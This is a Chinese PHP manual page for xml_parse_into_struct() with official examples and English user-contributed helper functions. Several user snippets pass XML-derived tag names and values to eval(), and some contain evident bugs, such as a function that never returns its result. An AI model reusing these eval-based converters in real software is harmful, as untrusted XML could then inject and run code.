  • ? xml_get_error_code
  • xml_parse ?
  • PHP Manual
  • XML 解析器函数
  • 将 XML 数据解析到数组中

xml_parse_into_struct

(PHP 4, PHP 5, PHP 7)

xml_parse_into_struct — 将 XML 数据解析到数组中

说明

xml_parse_into_struct ( resource $parser , string $data , array &$values [, array &$index ] ) : int

该函数将 XML 文件解析到两个对应的数组中，index 参数含有指向 values 数组中对应值的指针。最后两个数组参数可由指针传递给函数。

Note:

xml_parse_into_struct() 失败返回 0，成功返回 1。这和 FALSE 与 TRUE 不同，使用例如 === 的运算符时要注意。

以下范例显示了由该函数生成的数组的内部结构。我们简单地将一个 note 嵌入到一个 para 标记中，解析后我们可以打印出生成的数组的结构：

Example #1 xml_parse_into_struct() 示例

<?php
$simple = "<para><note>simple note</note></para>";
$p = xml_parser_create();
xml_parse_into_struct($p, $simple, $vals, $index);
xml_parser_free($p);
echo "Index array\n";
print_r($index);
echo "\nVals array\n";
print_r($vals);
?>

运行以上代码，我们得到的输出将是：

Index array
Array
(
    [PARA] => Array
        (
            [0] => 0
            [1] => 2
        )

    [NOTE] => Array
        (
            [0] => 1
        )

)

Vals array
Array
(
    [0] => Array
        (
            [tag] => PARA
            [type] => open
            [level] => 1
        )

    [1] => Array
        (
            [tag] => NOTE
            [type] => complete
            [level] => 2
            [value] => simple note
        )

    [2] => Array
        (
            [tag] => PARA
            [type] => close
            [level] => 1
        )

)

如果您的 XML 文档很复杂，基于该文档的事件处理（Event-driven）解析（基于 expat 扩展库）也会对应的变得复杂。该函数生成的并非 DOM 风格的对象，而是横向的树状结构。因此，我们能够方便的建立表达 XML 文件数据的对象。我们假设以下 XML 文件表示一个关于氨基酸信息的小型数据库：

Example #2 moldb.xml - 分子信息的小型数据库

<?xml version="1.0"?>
<moldb>

    <molecule>
        <name>Alanine</name>
        <symbol>ala</symbol>
        <code>A</code>
        <type>hydrophobic</type>
    </molecule>

    <molecule>
        <name>Lysine</name>
        <symbol>lys</symbol>
        <code>K</code>
        <type>charged</type>
    </molecule>

</moldb>
以下是解析该文档并生成相应对象的代码：

Example #3 parsemoldb.php - 将 moldb.xml 解析到分子（molecular）对象的数组中

<?php

class AminoAcid {
    var $name;  // aa 姓名
    var $symbol;    // 三字母符号
    var $code;  // 单字母代码
    var $type;  // hydrophobic, charged 或 neutral

    function AminoAcid ($aa)
    {
        foreach ($aa as $k=>$v)
            $this->$k = $aa[$k];
    }
}

function readDatabase($filename)
{
    // 读取 aminoacids 的 XML 数据
    $data = implode("",file($filename));
    $parser = xml_parser_create();
    xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
    xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
    xml_parse_into_struct($parser, $data, $values, $tags);
    xml_parser_free($parser);

    // 遍历 XML 结构
    foreach ($tags as $key=>$val) {
        if ($key == "molecule") {
            $molranges = $val;
            // each contiguous pair of array entries are the
            // lower and upper range for each molecule definition
            for ($i=0; $i < count($molranges); $i+=2) {
                $offset = $molranges[$i] + 1;
                $len = $molranges[$i + 1] - $offset;
                $tdb[] = parseMol(array_slice($values, $offset, $len));
            }
        } else {
            continue;
        }
    }
    return $tdb;
}

function parseMol($mvalues)
{
    for ($i=0; $i < count($mvalues); $i++) {
        $mol[$mvalues[$i]["tag"]] = $mvalues[$i]["value"];
    }
    return new AminoAcid($mol);
}

$db = readDatabase("moldb.xml");
echo "** Database of AminoAcid objects:\n";
print_r($db);

?>
在执行完 parsemoldb.php 后，变量 $db 将包含有一个由 AminoAcid 对象组成的数组，该脚本的输出如下：
** Database of AminoAcid objects:
Array
(
    [0] => aminoacid Object
        (
            [name] => Alanine
            [symbol] => ala
            [code] => A
            [type] => hydrophobic
        )

    [1] => aminoacid Object
        (
            [name] => Lysine
            [symbol] => lys
            [code] => K
            [type] => charged
        )

)

User Contributed Notes

andy at andynformatics dot de 14-Jun-2012 12:35
To get out of an XML-Structure like this:
<root><element><subelement attribute="value">some text</subelement></element><anotherelement>Hello World</anotherelement></root>
something like this:

Array
(
    [tag] => ROOT
    [0] => Array
        (
            [tag] => ELEMENT
            [0] => Array
                (
                    [tag] => SUBELEMENT
                    [attributes] => Array
                        (
                            [ATTRIBUTE] => value
                        )

                    [value] => some text
                )

        )

    [1] => Array
        (
            [tag] => ANOTHERELEMENT
            [value] => Hello World
        )

)

I have written a short and pretty simple function:

<?php
function xml2array($xml){
    $opened = array();
    $opened[1] = 0;
    $xml_parser = xml_parser_create();
    xml_parse_into_struct($xml_parser, $xml, $xmlarray);
    $array = array_shift($xmlarray);
    unset($array["level"]);
    unset($array["type"]);
    $arrsize = sizeof($xmlarray);
    for($j=0;$j<$arrsize;$j++){
        $val = $xmlarray[$j];
        switch($val["type"]){
            case "open":
                $opened[$val["level"]]=0;
            case "complete":
                $index = "";
                for($i = 1; $i < ($val["level"]); $i++)
                    $index .= "[" . $opened[$i] . "]";
                $path = explode('][', substr($index, 1, -1));
                $value = &$array;
                foreach($path as $segment)
                    $value = &$value[$segment];
                $value = $val;
                unset($value["level"]);
                unset($value["type"]);
                if($val["type"] == "complete")
                    $opened[$val["level"]-1]++;
            break;
            case "close":
                $opened[$val["level"]-1]++;
                unset($opened[$val["level"]]);
            break;
        }
    }
    return $array;
}
?>
Adam Tylmad 30-Apr-2009 12:58
Thanx to jukea i've upgraded the characterData-function to allow the value 0. Here is the new complete code:

<?php

class XMLParser {
    var $path;
    var $result;

    function cleanString($string) {
        return trim(str_replace("'", "&#39;", $string));
    }

    function XMLParser($encoding, $data) {
        $this->path = "\$this->result";
        $this->index = 0;

        $xml_parser = xml_parser_create($encoding);
        xml_set_object($xml_parser, &$this);
        xml_set_element_handler($xml_parser, 'startElement', 'endElement');
        xml_set_character_data_handler($xml_parser, 'characterData');

        xml_parse($xml_parser, $data, true);
        xml_parser_free($xml_parser);
    }

    function startElement($parser, $tag, $attributeList) {
        $this->path .= "->".$tag;
        eval("\$data = ".$this->path.";");
        if (is_array($data)) {
            $index = sizeof($data);
            $this->path .= "[".$index."]";
        } else if (is_object($data)) {
            eval($this->path." = array(".$this->path.");");
            $this->path .= "[1]";
        }

        foreach($attributeList as $name => $value)
            eval($this->path."->".$name. " = '".XMLParser::cleanString($value)."';");
    }

    function endElement($parser, $tag) {
        $this->path = substr($this->path, 0, strrpos($this->path, "->"));
    }

    function characterData($parser, $data) {
        if (strlen($data = XMLParser::cleanString($data)))
            eval($this->path." = '$data';");
    }
}

?>
aerik at thesylvans dot com 28-Nov-2008 03:55
Here's another attempt at dealing with rebuilding the xml from the array.  I'm basically preventing certain tags from being self closing by just checking for them explicitly (sure wish expat didn't interpret <textarea /> and <textarea></textarea> the same way (as "complete" tags).

<?php
function array2xml($xmlary){
  $o='';
  foreach($xmlary as $tag ){
    if($tag['tag'] == 'textarea' && !isset($tag['value'])){
      //fake a value so it won't self close
      $tag['value']='';
    }
    //tab space:
    $t = '';
    for($i=1; $i < $tag['level'];$i++){
      $t.="\t";
    }
    switch($tag['type']){
      case 'complete':
      case 'open':
        $o.=$t.'<'.$tag['tag'];
        if(isset($tag['attributes'])){
          foreach($tag['attributes'] as $attr=>$aval){
            $o.=' '.$attr.'="'.$aval.'"';
          }//foreach
        }//attributes
        if($tag['type'] == 'complete'){
          if(!isset($tag['value'])){
            $o .= ' />'."\n";
          } else {
            $o .= '>'."\n".$t.$tag['value']."\n".$t.'</'.$tag['tag'].'>'."\n";
          }
        }else{
          $o .= '>'."\n";
        }
        break;
      case 'close':
        $o .= $t.'</'.$tag['tag'].'>'."\n";
        break;
      case 'cdata':
        $o .= $t.$tag['value']."\n";
        break;
    }//switch
  }//foreach
}
?>
lpatrick 03-Nov-2008 04:36
@ dale at ucsc dot edu
I modified your code for entries like <caption>Value</caption>
<?php
$o='';
foreach( $vals as $tag ){
    //tab space:
    for($i=1; $i < $tag['level'];$i++)
        $o.="\t";
    if($tag['type']!='close'){
        if($tag['type']!='cdata')
            $o.='<'.$tag['tag'];
        if(isset($tag['attributes'])){
            foreach($tag['attributes'] as $attr=>$aval){
                $o.=' '.$attr.'="'.$aval.'"';
            }
        }
        if($tag['type']!='cdata'){
            $o.=($tag['type']=='complete' && (!isset($tag['value']) || $tag['value']==''))?'/>':'>';
        }
        $o.=(isset($tag['value']))?$tag['value']:'';
        if($tag['type']!='cdata'){
            $o.=($tag['type']=='complete' && (isset($tag['value']) && $tag['value']<>''))?'</'.$tag['tag'].'>':'';
        }
        $o.="\n";
    }else{
        $o.='</'.$tag['tag'].'>'."\n";
    }
}
?>
dale at ucsc dot edu 25-Sep-2008 04:16
here you can [re]assemble xml from a xml_parse_into_struct generated array: ie array2xml

<?php
$xml_parser = xml_parser_create( 'UTF-8' ); // UTF-8 or ISO-8859-1
xml_parser_set_option( $xml_parser, XML_OPTION_CASE_FOLDING, 0 );
xml_parser_set_option( $xml_parser, XML_OPTION_SKIP_WHITE, 1 );
xml_parse_into_struct( $xml_parser, $my_text_xml, $aryXML );
xml_parser_free($xml_parser);

//now use aryXML array to xml string:
        $o='';
        foreach( $aryXML as $tag ){
            //tab space:
            for($i=1; $i < $tag['level'];$i++)
                $o.="\t";
            if($tag['type']!='close'){
                if($tag['type']!='cdata')
                    $o.='<'.$tag['tag'];
                if(isset($tag['attributes'])){
                    foreach($tag['attributes'] as $attr=>$aval){
                        $o.=' '.$attr.'="'.$aval.'"';
                    }
                }
                if($tag['type']!='cdata'){
                    $o.=($tag['type']=='complete')?'/>'."\n":'>'."\n";
                }
                $o.=(isset($tag['value']))?$tag['value']:'';
            }else{
                $o.='</'.$tag['tag'].'>';
            }
        }
?>
Llorenc 09-Sep-2008 03:20
Sorry, forgot my last post below, I confused CDATA sections (<![CDATA[]]>) with the value type "cdata", which despite its name it's very different! The first allows adding markup (&,<,>) as regular text and the second is to indicate a not complete node between the open and close nodes. What is true is that the CDATA delimiters are lost after xml_parse_into_struct so it's not possible to revert the process.

Please, feel free to remove my comments or leave them if you think they can help anyone.
POST at PSPAETH dot DE 14-Aug-2008 08:45
I wrote a simple function which totally flattens any xml structure. You can then directly get the data or use regular expression functions to fetch data from the output. E.g., if the input is
   <gallery xmlns='http://www.pspaeth.de/joomlaPlugins/psg'>
        <g imageDir='einsatzGallerie'></g>
          <caption for="f1.jpg"}This is picture number 1</caption>
          <caption for="f2.jpg"}This is picture number 2</caption>
        </g>
   </gallery>
the output will be an array:
   ['.gallery0@xmlns']=>
      ".gallery0@xmlns=http://www.pspaeth.de/joomlaPlugins/psg"
   ['.gallery0.g0@imageDir']=>
      ".gallery0.g0@imageDir=einsatzGallerie"
   ['.gallery0.g0.caption0@for']=>
      ".gallery0.g0.caption0@for=f1.jpg"
   ['.gallery0.g0.caption0']=>
      ".gallery0.g0.caption0=This is picture number 1"
   ['.gallery0.g0.caption1@for']=>
      ".gallery0.g0.caption1@for=f2.jpg"
   ['.gallery0.g0.caption1']=>
      ".gallery0.g0.caption1=This is picture number 2"

Here the code:
<?php
function _xmlToArray($xml) {
   $parser = xml_parser_create('UTF-8'); // UTF-8 or ISO-8859-1
   xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
   xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
   xml_parse_into_struct($parser, $xml, $values);
   xml_parser_free($parser);

   $return = array();
   $stack = '';
   $attrs = array();
   $levelCounters = array(0);
   foreach($values as $val) {
     if($val['type'] == "open") {
       $ind = array_pop($levelCounters);
       $stack = $stack . "." . $val['tag'] . $ind;
       if ($val['attributes']) {
           foreach($val['attributes'] as $attrKey => $attrVal)
             $return[$stack . '@' . $attrKey] = $stack . '@' . $attrKey . "=" .
                $attrVal;
       }
       array_push($levelCounters,$ind+1);
       array_push($levelCounters,0);
     } elseif($val['type'] == "close") {
       $stack = substr($stack,0,strrpos($stack,'.'));
     } elseif($val['type'] == "complete") {
       $ind = array_pop($levelCounters);
       $stack = $stack . "." . $val['tag'] . $ind;
       if ($val['attributes']) {
           foreach($val['attributes'] as $attrKey => $attrVal)
             $return[$stack . '@' . $attrKey] = $stack . '@' . $attrKey . "=" .
                $attrVal;
       }
       $return[$stack] = $stack . "=" . $val['value'];
       $stack = substr($stack,0,strrpos($stack,'.'));
       array_push($levelCounters,$ind+1);
     }
   }
   return $return;
}
?>
wickedfather at hotmail dot com 06-Jul-2008 12:33
Had a comment up that was removed saying I'd found drawbacks, but here's a class what I wrote which works fine for me.  Comments removed due to post restrictions.  Pass the xml into the parse method or in the constructor.  Php4 and 5 safe.

class XMLThing
{
    var $rawXML;
    var $valueArray = array();
    var $keyArray = array();
    var $parsed = array();
    var $index = 0;
    var $attribKey = 'attributes';
    var $valueKey = 'value';
    var $cdataKey = 'cdata';
    var $isError = false;
    var $error = '';

    function XMLThing($xml = NULL)
    {
        $this->rawXML = $xml;
    }

    function parse($xml = NULL)
    {
        if (!is_null($xml))
        {
            $this->rawXML = $xml;
        }

        $this->isError = false;

        if (!$this->parse_init())
        {
            return false;
        }

        $this->index = 0;
        $this->parsed = $this->parse_recurse();
        $this->status = 'parsing complete';

        return $this->parsed;
    }

    function parse_recurse()
    {
        $found = array();
        $tagCount = array();

        while (isset($this->valueArray[$this->index]))
        {
            $tag = $this->valueArray[$this->index];
            $this->index++;

            if ($tag['type'] == 'close')
            {
                return $found;
            }

            if ($tag['type'] == 'cdata')
            {
                $tag['tag'] = $this->cdataKey;
                $tag['type'] = 'complete';
            }

            $tagName = $tag['tag'];

            if (isset($tagCount[$tagName]))
            {
                if ($tagCount[$tagName] == 1)
                {
                    $found[$tagName] = array($found[$tagName]);
                }

                $tagRef =& $found[$tagName][$tagCount[$tagName]];
                $tagCount[$tagName]++;
            }
            else
            {
                $tagCount[$tagName] = 1;
                $tagRef =& $found[$tagName];
            }

            switch ($tag['type'])
            {
                case 'open':
                    $tagRef = $this->parse_recurse();

                    if (isset($tag['attributes']))
                    {
                        $tagRef[$this->attribKey] = $tag['attributes'];
                    }

                    if (isset($tag['value']))
                    {
                        if (isset($tagRef[$this->cdataKey]))
                        {
                            $tagRef[$this->cdataKey] = (array)$tagRef[$this->cdataKey];
                            array_unshift($tagRef[$this->cdataKey], $tag['value']);
                        }
                        else
                        {
                            $tagRef[$this->cdataKey] = $tag['value'];
                        }
                    }
                    break;

                case 'complete':
                    if (isset($tag['attributes']))
                    {
                        $tagRef[$this->attribKey] = $tag['attributes'];
                        $tagRef =& $tagRef[$this->valueKey];
                    }

                    if (isset($tag['value']))
                    {
                        $tagRef = $tag['value'];
                    }
                    break;
            }
        }

        return $found;
    }

    function parse_init()
    {
        $this->parser = xml_parser_create();

        $parser = $this->parser;
        xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
        xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
        if (!$res = (bool)xml_parse_into_struct($parser, $this->rawXML, $this->valueArray, $this->keyArray))
        {
            $this->isError = true;
            $this->error = 'error: '.xml_error_string(xml_get_error_code($parser)).' at line '.xml_get_current_line_number($parser);
        }
        xml_parser_free($parser);

        return $res;
    }
}
jemptymethod at gmail dot com 16-Jun-2008 01:39
@wickedfather, re: beaudurrant....I just cannot concur that the latter's class is "great"....First of all, it doesn't handle attributes.  Second of all, as my code below demonstrates, there is no need waste processing by determining duplicates within their own loop.  Thirdly, when there are duplicates, it collapses the layer in the array above the duplicates.

Here is some much more consise code, though not (yet) object oriented, and also not yet handling attributes; it maintains a stack for each level:

<?php
function xml_parse_into_assoc($file) {
  $data = implode("", file($file));
  $p = xml_parser_create();

  xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
  xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);

  xml_parse_into_struct($p, $data, $vals, $index);
  xml_parser_free($p);

  $levels = array(null);

  foreach ($vals as $val) {
    if ($val['type'] == 'open' || $val['type'] == 'complete') {
      if (!array_key_exists($val['level'], $levels)) {
        $levels[$val['level']] = array();
      }
    }

    $prevLevel =& $levels[$val['level'] - 1];
    $parent = $prevLevel[sizeof($prevLevel)-1];

    if ($val['type'] == 'open') {
      $val['children'] = array();
      array_push(&$levels[$val['level']], $val);
      continue;
    }

    else if ($val['type'] == 'complete') {
      $parent['children'][$val['tag']] = $val['value'];
    }

    else if ($val['type'] == 'close') {
      $pop = array_pop($levels[$val['level']]);
      $tag = $pop['tag'];

      if ($parent) {
        if (!array_key_exists($tag, $parent['children'])) {
          $parent['children'][$tag] = $pop['children'];
        }
        else if (is_array($parent['children'][$tag])) {
          $parent['children'][$tag][] = $pop['children'];
        }
      }
      else {
        return(array($pop['tag'] => $pop['children']));
      }
    }

    $prevLevel[sizeof($prevLevel)-1] = $parent;
  }
}
?>
wickedfather at hotmail dot com 12-Apr-2008 08:36
To beaudurrant - that class is great and structures things in a very sensible way.  Only problem is that it raises an error if a tag is empty, so would suggest a simple mod to the parse method just to add an isset test.

if (isset($val['value']))
{
    $this->setArrayValue($this->output, $stack, $val['value']);
}
mathiasrav at gmail dot com 10-Mar-2008 08:42
In response to Anonymous' post at 26-Feb-2008 11:50:

Saying that you "don't understand everything" isn't going to get you very popular - you should understand the code you use.
foreach isn't *slow* in PHP, it is actually faster than the equivalent for-construct (which, in many cases, isn't available).

The reason your script is slow is simply your use of xml_parse_into_struct - it reads the whole XML-string and doesn't return until it has parsed and validated it all. If you're looking for efficiency, you'll have to use the more low-level xml_parser_create, xml_set_*_handler functions. Then make sure you don't keep everything in a huge array before outputting it (at least don't if you're going for efficiency).
beaudurrant at gmail dot com 19-Dec-2007 11:23
This is extending what Alf Marius Foss Olsen had posted above.

It takes into account array keys with the same name and uses an increment for them instead of overwriting the keys.

I am using it for SOAP requests (20K - 150K) and it parses very fast compared to PEAR.

<?

class XMLParser  {

    // raw xml
    private $rawXML;
    // xml parser
    private $parser = null;
    // array returned by the xml parser
    private $valueArray = array();
    private $keyArray = array();

    // arrays for dealing with duplicate keys
    private $duplicateKeys = array();

    // return data
    private $output = array();
    private $status;

    public function XMLParser($xml){
        $this->rawXML = $xml;
        $this->parser = xml_parser_create();
        return $this->parse();
    }

    private function parse(){

        $parser = $this->parser;

        xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0); // Dont mess with my cAsE sEtTings
        xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);     // Dont bother with empty info
        if(!xml_parse_into_struct($parser, $this->rawXML, $this->valueArray, $this->keyArray)){
            $this->status = 'error: '.xml_error_string(xml_get_error_code($parser)).' at line '.xml_get_current_line_number($parser);
            return false;
        }
        xml_parser_free($parser);

        $this->findDuplicateKeys();

        // tmp array used for stacking
        $stack = array();
        $increment = 0;

        foreach($this->valueArray as $val) {
            if($val['type'] == "open") {
                //if array key is duplicate then send in increment
                if(array_key_exists($val['tag'], $this->duplicateKeys)){
                    array_push($stack, $this->duplicateKeys[$val['tag']]);
                    $this->duplicateKeys[$val['tag']]++;
                }
                else{
                    // else send in tag
                    array_push($stack, $val['tag']);
                }
            } elseif($val['type'] == "close") {
                array_pop($stack);
                // reset the increment if they tag does not exists in the stack
                if(array_key_exists($val['tag'], $stack)){
                    $this->duplicateKeys[$val['tag']] = 0;
                }
            } elseif($val['type'] == "complete") {
                //if array key is duplicate then send in increment
                if(array_key_exists($val['tag'], $this->duplicateKeys)){
                    array_push($stack, $this->duplicateKeys[$val['tag']]);
                    $this->duplicateKeys[$val['tag']]++;
                }
                else{
                    // else send in tag
                    array_push($stack,  $val['tag']);
                }
                $this->setArrayValue($this->output, $stack, $val['value']);
                array_pop($stack);
            }
            $increment++;
        }

        $this->status = 'success: xml was parsed';
        return true;

    }

    private function findDuplicateKeys(){

        for($i=0;$i < count($this->valueArray); $i++) {
            // duplicate keys are when two complete tags are side by side
            if($this->valueArray[$i]['type'] == "complete"){
                if( $i+1 < count($this->valueArray) ){
                    if($this->valueArray[$i+1]['tag'] == $this->valueArray[$i]['tag'] && $this->valueArray[$i+1]['type'] == "complete"){
                        $this->duplicateKeys[$this->valueArray[$i]['tag']] = 0;
                    }
                }
            }
            // also when a close tag is before an open tag and the tags are the same
            if($this->valueArray[$i]['type'] == "close"){
                if( $i+1 < count($this->valueArray) ){
                    if(    $this->valueArray[$i+1]['type'] == "open" && $this->valueArray[$i+1]['tag'] == $this->valueArray[$i]['tag'])
                        $this->duplicateKeys[$this->valueArray[$i]['tag']] = 0;
                }
            }

        }

    }

    private function setArrayValue(&$array, $stack, $value){
        if ($stack) {
            $key = array_shift($stack);
            $this->setArrayValue($array[$key], $stack, $value);
            return $array;
        } else {
            $array = $value;
        }
    }

    public function getOutput(){
        return $this->output;
    }

    public function getStatus(){
        return $this->status;
    }

}

?>

Usage:

$p = new XMLParser($xml);
$p->getOutput();
Alf Marius Foss Olsen 12-Sep-2007 06:46
<?php
/*
  An easy lightweight (Array ->) XML -> Array algorithm..

  Typical case: You have an array you want to export to an external server,
                so you make XML out of it, exports it, and "on the other side"
                make it into an array again. These two functions will take care
                of that last part, ie XML -> Array

  NOTE! The function XMLToArray assumes that the XML _dont_ have nodes on the
        same level with the same name, then it just wont work. This is not a
        problem, as this case deals with Array -> XML -> Array, and an array
        cant have to identical indexes/keys.
*/

function XMLToArray($xml) {
  $parser = xml_parser_create('ISO-8859-1'); // For Latin-1 charset
  xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0); // Dont mess with my cAsE sEtTings
  xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); // Dont bother with empty info
  xml_parse_into_struct($parser, $xml, $values);
  xml_parser_free($parser);

  $return = array(); // The returned array
  $stack = array(); // tmp array used for stacking
  foreach($values as $val) {
    if($val['type'] == "open") {
      array_push($stack, $val['tag']);
    } elseif($val['type'] == "close") {
      array_pop($stack);
    } elseif($val['type'] == "complete") {
      array_push($stack, $val['tag']);
      setArrayValue($return, $stack, $val['value']);
      array_pop($stack);
    }//if-elseif
  }//foreach
  return $return;
}//function XMLToArray

function setArrayValue(&$array, $stack, $value) {
  if ($stack) {
    $key = array_shift($stack);
    setArrayValue($array[$key], $stack, $value);
    return $array;
  } else {
    $array = $value;
  }//if-else
}//function setArrayValue

// USAGE:
$xml = <<<QQQ
<?xml version="1.0"?>
<root>
  <node1>Some text</node1>
  <node2a>
    <node2b>
      <node2c>Some text</node2c>
    </node2b>
  </node2a>
</root>\n
QQQ;
$array = XMLToArray($xml);
print "<pre>";
print_r($array);
print "</pre>";
//  Output:
//
//  Array
//  (
//      [root] => Array
//          (
//              [node1] => Some text
//              [node2a] => Array
//                  (
//                      [node2b] => Array
//                          (
//                              [node2c] => Some text
//                          )
//                  )
//          )
//  )
?>
vinod at citadel-soft dot com 01-Sep-2007 03:43
My previous code was having some bugs in, that is fixed now

<?php
class CSLXmlReader {
    private $tagstack;
    private $xmlvals;
    private  $xmlvarArrPos;
    private $xmlfile;
    function __construct($filename)  // constructor to intialize the stack and val array
    {

        $this->tagstack = array();   // contain the open tags till now
        $this->xmlvals = array();
        $this->xmlvarArrPos = $this->xmlvals;  // temporary variable to hold the current tag position
        $this->xmlfile = $filename;
    }
    function readDatabase()
    {
        // read the XML database
        $data = implode("", file($this->xmlfile));
        $parser = xml_parser_create();
        xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
        xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
        xml_parse_into_struct($parser, $data, $values, $tags);
        xml_parser_free($parser);

        foreach($values as $key => $val)  //
        {
            if($val['type'] == "open")
            {
                array_push($this->tagstack, $val['tag']);
                $this->getArrayPath();
                if(count($this->xmlvarArrPos) > 0 && (!array_key_exists(0,$this->xmlvarArrPos)))
                {
                    $temp1 = $this->xmlvarArrPos;
                    $this->xmlvarArrPos =  array();
                    $this->xmlvarArrPos[0] = $temp1;
                    array_push($this->tagstack, 1);
                }
                else if( array_key_exists(0,$this->xmlvarArrPos)){
                    $opncount = count($this->xmlvarArrPos);
                    array_push($this->tagstack, $opncount);
                }
                $tagStackPointer += 1;
            }else if($val['type'] == "close")
            {
                while( $val['tag'] != ($lastOpened = array_pop($this->tagstack))){}
            }else if($val['type'] ==  "complete")
            {
                $this->getArrayPath();
                if( array_key_exists($val['tag'],$this->xmlvarArrPos))
                {
                    if(array_key_exists(0,$this->xmlvarArrPos[$val['tag']]))
                    {
                        $elementCount = count($this->xmlvarArrPos[$val['tag']]);
                        $this->xmlvarArrPos[$val['tag']][$elementCount] = $val['value'];
                    }else
                    {
                        $temp1 = $this->xmlvarArrPos[$val['tag']];
                        $this->xmlvarArrPos[$val['tag']] =  array();
                        $this->xmlvarArrPos[$val['tag']][0] = $temp1;
                        $this->xmlvarArrPos[$val['tag']][1] = $val['value'];
                    }
                } else
                {
                    $this->xmlvarArrPos[$val['tag']] = $val['value'];
                }
            }
        }
        reset($this->xmlvals);
        return $this->xmlvals;
    }
    function getArrayPath()
    {

        reset($this->xmlvals);
        $this->xmlvarArrPos = &$this->xmlvals;
        foreach($this->tagstack as $key)
        {
            $this->xmlvarArrPos = &$this->xmlvarArrPos[$key];

        }
    }

}

$readerObj  = new CSLXmlReader("test.xml");
$xmlvals = $readerObj->readDatabase();

echo "########## XML Values In array as the multidimentional array  #############\n";
echo "<pre>";
print_r($xmlvals);
echo "</pre>";

?>
siteres at gmail dot com 07-Feb-2007 01:38
PHP: XML to Array and backwards:

Here the XML with PHP solution: XML->Array and Array->XML.
Work with it as with usual array.

Sources are here:
http://mysrc.blogspot.com/2007/02/php-xml-to-array-and-backwards.html
(leave me comments:)

Example #1 (1.xml):

<ddd>
 <onemore dd="55">
  <tt>333</tt>
  <tt ss="s1">555</tt>
  <tt>777</tt>
 </onemore>
 <two>sdf rr</two>
</ddd>

The code:

$xml=xml2ary(file_get_contents('1.xml'));
print_r($xml);

Here is the Array result:

Array
(
   [ddd] => Array (
           [_c] => Array (
                   [_p] => Array *RECURSION*
                   [onemore] => Array (
                           [_a] => Array (
                                   [dd] => 55
                               )
                           [_c] => Array (
                                   [_p] => Array  *RECURSION*
                                   [tt] => Array (
                                           [0] => Array (
                                                   [_v] => 333
                                               )
                                           [1] => Array (
                                                   [_a] => Array (
                                                           [ss] => s1
                                                       )
                                                   [_v] => 555
                                               )
                                           [2] => Array (
                                                   [_v] => 777
                                               )
                                       )
                               )
                       )
                   [two] => Array (
                           [_v] => sdf rr
                       )
               )
       )
)
webmaster at after5webdesign dot com 30-Nov-2006 04:48
That parser also has a problem in which it will not parse more items than the current level it is on. That is, parsing this:  <1><2>A</2><2>B</2><2>C</2></1>
Will only result in this: A B
C is never processed.

It might be better with something like this:
          $file = get_url('http://news.search.yahoo.com/news/rss?p=current+events', URL_CONTENT);
          $data = $file['content'];
          $xml_parser = xml_parser_create();
          xml_parse_into_struct($xml_parser, $data, $vals, $index);
          xml_parser_free($xml_parser);
          //Uncomment the lines below to see the entire structure of your XML document
          //echo "<pre>INDEX: \n";
          //print_r ($index);
          //echo "\n \n \n VALUES:";
          //print_r ($vals);
          //echo "</pre>";
          $params = array();
          $level = array();
          $start_level = 1;
          foreach ($vals as $xml_elem) {
            if ($xml_elem['type'] == 'open') {
              if (array_key_exists('attributes',$xml_elem)) {
                list($level[$xml_elem['level']],$extra) = array_values($xml_elem['attributes']);
              } else {
                $level[$xml_elem['level']] = $xml_elem['tag'];
              }
            }
            if ($xml_elem['type'] == 'complete') {
              $php_stmt = '$params';
              while($start_level < $xml_elem['level']) {
                $php_stmt .= '[$level['.$start_level.']]';
                $start_level++;
              }
              $php_stmt .= '[$xml_elem[\'tag\']][] = $xml_elem[\'value\'];';
              eval($php_stmt);
              $start_level--;
            }
          }
          echo "<pre>";
          print_r ($params);
          echo "</pre>";

~Tim_Myth
A3 03-Nov-2006 05:28
XML -> Array
<?
    $data = '<root><a><b x="s" a="2">asdf</b><c></c></a></root>';

    $p = xml_parser_create();
    xml_parse_into_struct($p, $data, $vals);
    xml_parser_free($p);

    $key = $output = array();
   foreach ($vals as $id=>$item) {
      if ($item["type"]=="open" || $item["level"]>count($key)) {// && count($key)<=$item["level"])
          array_push($key, $id);
          $temp = array("tag"=>$item["tag"], "value"=>"", "attributes"=>array());
          eval("\$output[".implode("][", $key)."] = \$temp;");
      }
      if ($item["type"]=="close" || $item["level"]<count($key))// && $item["level"]>=count($key))
          array_pop($key);
      if (isset($item["attributes"]))
          eval("\$output[".implode("][", $key)."]['attributes'] = array_merge(\$output[".implode("][", $key)."]['attributes'], \$item['attributes']);");
      if (isset($item["value"]))
          eval("\$output[".implode("][", $key)."]['value'] .= \$item['value'];");
   }
?>
Elad Elrom 12-Sep-2006 02:14
This is a quick fix for parsing XML from remote URL, some of the example above will work when trying to parse on your local server without "http://" but not when trying to parse from remote server using "http://www.URL"...

<?
$file="http://www.URL.com/file.XML";

$xml_parser = xml_parser_create();

$handle = fopen($file, "rb");
$contents = '';
while (!feof($handle)) {
  $data .= fread($handle, 8192);
}
fclose($handle);

xml_parse_into_struct($xml_parser, $data, $vals, $index);
xml_parser_free($xml_parser);

$params = array();
$level = array();
foreach ($vals as $xml_elem) {
  if ($xml_elem['type'] == 'open') {
   if (array_key_exists('attributes',$xml_elem)) {
     list($level[$xml_elem['level']],$extra) = array_values($xml_elem['attributes']);
   } else {
     $level[$xml_elem['level']] = $xml_elem['tag'];
   }
  }
  if ($xml_elem['type'] == 'complete') {
   $start_level = 1;
   $php_stmt = '$params';
   while($start_level < $xml_elem['level']) {
     $php_stmt .= '[$level['.$start_level.']]';
     $start_level++;
   }
   $php_stmt .= '[$xml_elem[\'tag\']] = $xml_elem[\'value\'];';
   eval($php_stmt);
  }
}

echo "<pre>";
print_r ($params);
echo "</pre>";
?>
mad dot cat at mcmadcat dot com 06-Sep-2006 04:55
this my love function:
<?php
function mc_parse_xml($filename)
{
    $xml = file_get_contents($filename);
    $p = xml_parser_create();
